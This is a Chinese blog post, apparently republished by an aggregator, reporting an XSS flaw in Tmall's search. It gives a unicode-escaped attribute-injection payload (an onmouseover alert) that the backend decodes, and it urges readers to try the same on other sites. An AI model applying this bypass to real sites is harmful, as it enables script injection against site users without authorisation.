天猫商城主站xss

Posted me记录

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了天猫商城主站xss相关的知识,希望对你有一定的参考价值。

天猫商城主站



天猫商场主站存在xss


问题出现在后端接口接受unicode编码以后的代码并且很自觉的把代码还原了

测试代码:

Mannix

UNICODE编码:

\u004d\u0061\u006e\u006e\u0069\u0078

天猫商城搜索框处

天猫商城主站xss

全站搜索关键字Mannix

天猫商城主站xss

搜索到了就可能存在问题

<a class="c2016-8-131194-1500868191213-imglink" target="_blank" href="https://XXXX.com/cc_im?p=Mannix&amp;s=1552844546&amp;k=441&amp;e=BsKIKHGKxSk0CzO0ax6IHElc689Lvc6qqBnLwaYYJgrAJJMNA76mkB8GJ5byYRVHZZlWF%2F7eENxmqp2zAS88wP8%2F%2BzaxGn%2BrB3%2BKDa%2B5WKlNEHgOYrzJPbOMoKIyFo%2FIZCrQ%2F7N92tV%2Fw7NVexlS5DqJS7MwtuGmGwAJy7VqHKjIb20tzFh0cVoFvi%2F5g1KSgjIGkAVGq5nP%2FDjHPi8Gc2sEha9XaGnJP09JNCkAftFHOcdSRMOUJTlnfqaNsbss7t4pPjcOJTiVAl0ijAm60wX2sFTpI8q1LYhSRb4erhSEkeTeFCKdj8WyN04DpgrmarFHNMcSJ%2F8%2BXR17q9UOiEow3HcN%2BSnEVTypeybBfYi%2F59bvZ7%2FcZEt%2B37ftzUmfQYJWDw46D9l4fToeprpTyhD54Bfghhfb%2BQVGteBKF4aI7wIim%2BuJ4A%3D%3D" atpanel=",539888916712,,,p4p,1,p4p,2928278102," title="买1得雅漾胶囊21粒瘦身减肥药抗肥胖"><img ></a>

天猫商城主站xss

正常情况下构造事件弹窗即可

<a class="c2016-8-131194-1500868191213-imglink" target="_blank" href="https://xxx.com/cc_im?p=Mannix" onmouseover=alert(1) &amp;s=1552844546&amp;k=441&amp;e=BsKIKHGKxSk0CzO0ax6IHElc689Lvc6qqBnLwaYYJgrAJJMNA76mkB8GJ5byYRVHZZlWF%2F7eENxmqp2zAS88wP8%2F%2BzaxGn%2BrB3%2BKDa%2B5WKlNEHgOYrzJPbOMoKIyFo%2FIZCrQ%2F7N92tV%2Fw7NVexlS5DqJS7MwtuGmGwAJy7VqHKjIb20tzFh0cVoFvi%2F5g1KSgjIGkAVGq5nP%2FDjHPi8Gc2sEha9XaGnJP09JNCkAftFHOcdSRMOUJTlnfqaNsbss7t4pPjcOJTiVAl0ijAm60wX2sFTpI8q1LYhSRb4erhSEkeTeFCKdj8WyN04DpgrmarFHNMcSJ%2F8%2BXR17q9UOiEow3HcN%2BSnEVTypeybBfYi%2F59bvZ7%2FcZEt%2B37ftzUmfQYJWDw46D9l4fToeprpTyhD54Bfghhfb%2BQVGteBKF4aI7wIim%2BuJ4A%3D%3D" atpanel=",539888916712,,,p4p,1,p4p,2928278102," title="买1得雅漾胶囊21粒瘦身减肥药抗肥胖"><img ></a>

天猫商城主站xss

先来本地测试

天猫商城主站xss
天猫商城主站xss

本地测试成功

我们开始构造我们的代码

Payload:

" onmouseover=alert("Mannix")

UNICODE编码:

\u0022\u0020\u006f\u006e\u006d\u006f\u0075\u0073\u0065\u006f\u0076\u0065\u0072\u003d\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u004d\u0061\u006e\u006e\u0069\u0078\u0022\u0029\u0020

拿到网站去测试

天猫商城主站xss
天猫商城主站xss
天猫商城主站xss

其他网站和天猫是一样的思路,自行测试

但是,有一点,审查元素可以看到我们的代码,源码里面搜索不到

天猫商城主站xss



有兴趣的可以自行探究原因

难道是DOM型XSS?

深入研究一下,如果有人发现其中的原因,请告诉我哦.



天猫商城主站xss

本文概不负责

 

以上是关于天猫商城主站xss的主要内容,如果未能解决你的问题,请参考以下文章

java项目源码-模仿天猫商城网站

基于springboot仿天猫商城系统开发与设计.rar(项目源码)

学习模仿天猫商城毕业设计SSM商城系统笔记

中继器-天猫商城商品列表

别样肉客入驻阿里巴巴旗下天猫商城 通过国内最大电商平台扩展零售版图

仿天猫淘宝的ShopNC好商城原生Android 客户端源码项目